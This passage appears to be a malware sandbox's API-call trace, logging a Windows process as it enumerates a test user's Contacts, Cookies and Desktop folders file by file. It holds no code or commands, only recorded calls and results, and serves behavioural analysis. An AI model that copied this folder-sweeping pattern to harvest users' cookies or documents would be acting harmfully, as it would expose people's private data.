dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.759] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.759] PathFindFileNameW (pszPath="") returned="" [0119.759] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.759] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0119.759] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0119.759] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.759] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.759] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.759] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.759] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0119.760] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.760] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.760] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.760] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.760] PathFindFileNameW (pszPath="") returned="" [0119.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0119.760] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.760] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.760] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.760] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.760] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0119.760] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.760] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.760] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.760] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.760] PathFindFileNameW (pszPath="") returned="" [0119.760] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc44b08b0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xc44b08b0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.760] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.760] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc44b08b0, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xc44b08b0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.760] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe702f0, ftCreationTime.dwHighDateTime=0x1d4d286, ftLastAccessTime.dwLowDateTime=0x2aba07a0, ftLastAccessTime.dwHighDateTime=0x1d4d4b9, ftLastWriteTime.dwLowDateTime=0x2aba07a0, ftLastWriteTime.dwHighDateTime=0x1d4d4b9, nFileSizeHigh=0x0, nFileSizeLow=0x11a4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2-_K6lTtjSYNHLM8.doc", cAlternateFileName="2-_K6L~1.DOC")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9156f80, ftCreationTime.dwHighDateTime=0x1d52ab3, ftLastAccessTime.dwLowDateTime=0xb9156f80, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xb74bac00, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x83600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="370E.tmp.exe", cAlternateFileName="370ETM~1.EXE")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a48fb0, ftCreationTime.dwHighDateTime=0x1d4ca5a, ftLastAccessTime.dwLowDateTime=0x4fa2530, ftLastAccessTime.dwHighDateTime=0x1d4ca6f, ftLastWriteTime.dwLowDateTime=0x4fa2530, ftLastWriteTime.dwHighDateTime=0x1d4ca6f, nFileSizeHigh=0x0, nFileSizeLow=0x10eaf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7i-hclJt.ppt", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6393c0d0, ftCreationTime.dwHighDateTime=0x1d4cced, ftLastAccessTime.dwLowDateTime=0xc9c38370, ftLastAccessTime.dwHighDateTime=0x1d4ce0c, ftLastWriteTime.dwLowDateTime=0xc9c38370, ftLastWriteTime.dwHighDateTime=0x1d4ce0c, nFileSizeHigh=0x0, nFileSizeLow=0x69e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7o_dfQXVcSB.bmp", cAlternateFileName="7O_DFQ~1.BMP")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ec4660, ftCreationTime.dwHighDateTime=0x1d4d593, ftLastAccessTime.dwLowDateTime=0xe365e630, ftLastAccessTime.dwHighDateTime=0x1d4cfea, ftLastWriteTime.dwLowDateTime=0xe365e630, ftLastWriteTime.dwHighDateTime=0x1d4cfea, nFileSizeHigh=0x0, nFileSizeLow=0x9b89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CPqgEkvnaFdq_y.gif", cAlternateFileName="CPQGEK~1.GIF")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacbe380, ftCreationTime.dwHighDateTime=0x1d4cfed, ftLastAccessTime.dwLowDateTime=0x6b0b6250, ftLastAccessTime.dwHighDateTime=0x1d4d07b, ftLastWriteTime.dwLowDateTime=0x6b0b6250, ftLastWriteTime.dwHighDateTime=0x1d4d07b, nFileSizeHigh=0x0, nFileSizeLow=0x9a3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D_F4Y77Iv__EabK.m4a", cAlternateFileName="D_F4Y7~1.M4A")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc445120, ftCreationTime.dwHighDateTime=0x1d4c54f, ftLastAccessTime.dwLowDateTime=0x970b5eb0, ftLastAccessTime.dwHighDateTime=0x1d4d5a2, ftLastWriteTime.dwLowDateTime=0x970b5eb0, ftLastWriteTime.dwHighDateTime=0x1d4d5a2, nFileSizeHigh=0x0, nFileSizeLow=0xfddf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Emq6vD0ivZ4XdEfJ.swf", cAlternateFileName="EMQ6VD~1.SWF")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb1a6770, ftCreationTime.dwHighDateTime=0x1d4d390, ftLastAccessTime.dwLowDateTime=0xce0530f0, ftLastAccessTime.dwHighDateTime=0x1d4c8cb, ftLastWriteTime.dwLowDateTime=0xce0530f0, ftLastWriteTime.dwHighDateTime=0x1d4c8cb, nFileSizeHigh=0x0, nFileSizeLow=0x17551, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eX-YvFXQkLn0gu2V.jpg", cAlternateFileName="EX-YVF~1.JPG")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c78d400, ftCreationTime.dwHighDateTime=0x1d4cd79, ftLastAccessTime.dwLowDateTime=0xe030edc0, ftLastAccessTime.dwHighDateTime=0x1d4d52b, ftLastWriteTime.dwLowDateTime=0xe030edc0, ftLastWriteTime.dwHighDateTime=0x1d4d52b, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ffTf6.gif", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7549640, ftCreationTime.dwHighDateTime=0x1d4c7df, ftLastAccessTime.dwLowDateTime=0x29c83fa0, ftLastAccessTime.dwHighDateTime=0x1d4d32f, ftLastWriteTime.dwLowDateTime=0x29c83fa0, ftLastWriteTime.dwHighDateTime=0x1d4d32f, nFileSizeHigh=0x0, nFileSizeLow=0x43c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HS00PnIq2P8Kp.gif", cAlternateFileName="HS00PN~1.GIF")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3404ac90, ftCreationTime.dwHighDateTime=0x1d4d282, ftLastAccessTime.dwLowDateTime=0xa48978e0, ftLastAccessTime.dwHighDateTime=0x1d4cef1, ftLastWriteTime.dwLowDateTime=0xa48978e0, ftLastWriteTime.dwHighDateTime=0x1d4cef1, nFileSizeHigh=0x0, nFileSizeLow=0x13361, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HZMv21_uk.jpg", cAlternateFileName="HZMV21~1.JPG")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c64f670, ftCreationTime.dwHighDateTime=0x1d4ceb5, ftLastAccessTime.dwLowDateTime=0x1c20b090, ftLastAccessTime.dwHighDateTime=0x1d4c6bd, ftLastWriteTime.dwLowDateTime=0x1c20b090, ftLastWriteTime.dwHighDateTime=0x1d4c6bd, nFileSizeHigh=0x0, nFileSizeLow=0x11d9c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iN mvP_WadxDj6.m4a", cAlternateFileName="INMVP_~1.M4A")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfd0b10, ftCreationTime.dwHighDateTime=0x1d4d1db, ftLastAccessTime.dwLowDateTime=0x1c1232f0, ftLastAccessTime.dwHighDateTime=0x1d4cca2, ftLastWriteTime.dwLowDateTime=0x1c1232f0, ftLastWriteTime.dwHighDateTime=0x1d4cca2, nFileSizeHigh=0x0, nFileSizeLow=0x106b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iqS7xw7P.ots", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcc20e90, ftCreationTime.dwHighDateTime=0x1d4d1e4, ftLastAccessTime.dwLowDateTime=0xe81ff460, ftLastAccessTime.dwHighDateTime=0x1d4d4e3, ftLastWriteTime.dwLowDateTime=0xe81ff460, ftLastWriteTime.dwHighDateTime=0x1d4d4e3, nFileSizeHigh=0x0, nFileSizeLow=0xd5de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ivu v64ETcPV9Avp.jpg", cAlternateFileName="IVUV64~1.JPG")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1438b470, ftCreationTime.dwHighDateTime=0x1d4d51f, ftLastAccessTime.dwLowDateTime=0x4f1e9bd0, ftLastAccessTime.dwHighDateTime=0x1d4cba7, ftLastWriteTime.dwLowDateTime=0x4f1e9bd0, ftLastWriteTime.dwHighDateTime=0x1d4cba7, nFileSizeHigh=0x0, nFileSizeLow=0x88bb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="O5-QxOkuS7l.odt", cAlternateFileName="O5-QXO~1.ODT")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd49dff0, ftCreationTime.dwHighDateTime=0x1d4cba0, ftLastAccessTime.dwLowDateTime=0x5f287820, ftLastAccessTime.dwHighDateTime=0x1d4c963, ftLastWriteTime.dwLowDateTime=0x5f287820, ftLastWriteTime.dwHighDateTime=0x1d4c963, nFileSizeHigh=0x0, nFileSizeLow=0x12086, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oePm7UfV1NMKY4Pl.bmp", cAlternateFileName="OEPM7U~1.BMP")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f671170, ftCreationTime.dwHighDateTime=0x1d4d220, ftLastAccessTime.dwLowDateTime=0xdf58c4d0, ftLastAccessTime.dwHighDateTime=0x1d4d43c, ftLastWriteTime.dwLowDateTime=0xdf58c4d0, ftLastWriteTime.dwHighDateTime=0x1d4d43c, nFileSizeHigh=0x0, nFileSizeLow=0xefa9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pknw9.bmp", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9999930, ftCreationTime.dwHighDateTime=0x1d4d15a, ftLastAccessTime.dwLowDateTime=0x28017110, ftLastAccessTime.dwHighDateTime=0x1d4ce47, ftLastWriteTime.dwLowDateTime=0x28017110, ftLastWriteTime.dwHighDateTime=0x1d4ce47, nFileSizeHigh=0x0, nFileSizeLow=0x9ec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qrw8cI.bmp", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2343cab0, ftCreationTime.dwHighDateTime=0x1d4d0f4, ftLastAccessTime.dwLowDateTime=0xc807db0, ftLastAccessTime.dwHighDateTime=0x1d4c860, ftLastWriteTime.dwLowDateTime=0xc807db0, ftLastWriteTime.dwHighDateTime=0x1d4c860, nFileSizeHigh=0x0, nFileSizeLow=0x7686, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="suJChr7SBbY4qJ.mkv", cAlternateFileName="SUJCHR~1.MKV")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa001110, ftCreationTime.dwHighDateTime=0x1d4cc2d, ftLastAccessTime.dwLowDateTime=0x3ad0d620, ftLastAccessTime.dwHighDateTime=0x1d4d43f, ftLastWriteTime.dwLowDateTime=0x3ad0d620, ftLastWriteTime.dwHighDateTime=0x1d4d43f, nFileSizeHigh=0x0, nFileSizeLow=0x16976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sw0t6XcCq_-sZjnOduKn.jpg", cAlternateFileName="SW0T6X~1.JPG")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2359a7b0, ftCreationTime.dwHighDateTime=0x1d4cfb7, ftLastAccessTime.dwLowDateTime=0xf1546510, ftLastAccessTime.dwHighDateTime=0x1d4d0f2, ftLastWriteTime.dwLowDateTime=0xf1546510, ftLastWriteTime.dwHighDateTime=0x1d4d0f2, nFileSizeHigh=0x0, nFileSizeLow=0xcbe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tx70s-VsAQSc.wav", cAlternateFileName="TX70S-~1.WAV")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e9c73b0, ftCreationTime.dwHighDateTime=0x1d4d0ae, ftLastAccessTime.dwLowDateTime=0x26191620, ftLastAccessTime.dwHighDateTime=0x1d4c701, ftLastWriteTime.dwLowDateTime=0x26191620, ftLastWriteTime.dwHighDateTime=0x1d4c701, nFileSizeHigh=0x0, nFileSizeLow=0x546e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uEGeQkzsNxB9WeTM.m4a", cAlternateFileName="UEGEQK~1.M4A")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2edae120, ftCreationTime.dwHighDateTime=0x1d4c57c, ftLastAccessTime.dwLowDateTime=0x2bf04de0, ftLastAccessTime.dwHighDateTime=0x1d4c588, ftLastWriteTime.dwLowDateTime=0x2bf04de0, ftLastWriteTime.dwHighDateTime=0x1d4c588, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VRP-Z6.png", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe622bc80, ftCreationTime.dwHighDateTime=0x1d4d1bc, ftLastAccessTime.dwLowDateTime=0xb89664b0, ftLastAccessTime.dwHighDateTime=0x1d4cf0f, ftLastWriteTime.dwLowDateTime=0xb89664b0, ftLastWriteTime.dwHighDateTime=0x1d4cf0f, nFileSizeHigh=0x0, nFileSizeLow=0xd277, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wY8i S_.flv", cAlternateFileName="WY8IS_~1.FLV")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bb50f0, ftCreationTime.dwHighDateTime=0x1d4d0b3, ftLastAccessTime.dwLowDateTime=0x8c69e570, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0x8c69e570, ftLastWriteTime.dwHighDateTime=0x1d4cc2a, nFileSizeHigh=0x0, nFileSizeLow=0xa05f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xj-o.png", cAlternateFileName="")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xwoxab1ONVdFr-x7cTy", cAlternateFileName="XWOXAB~1")) returned 1 [0119.761] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, 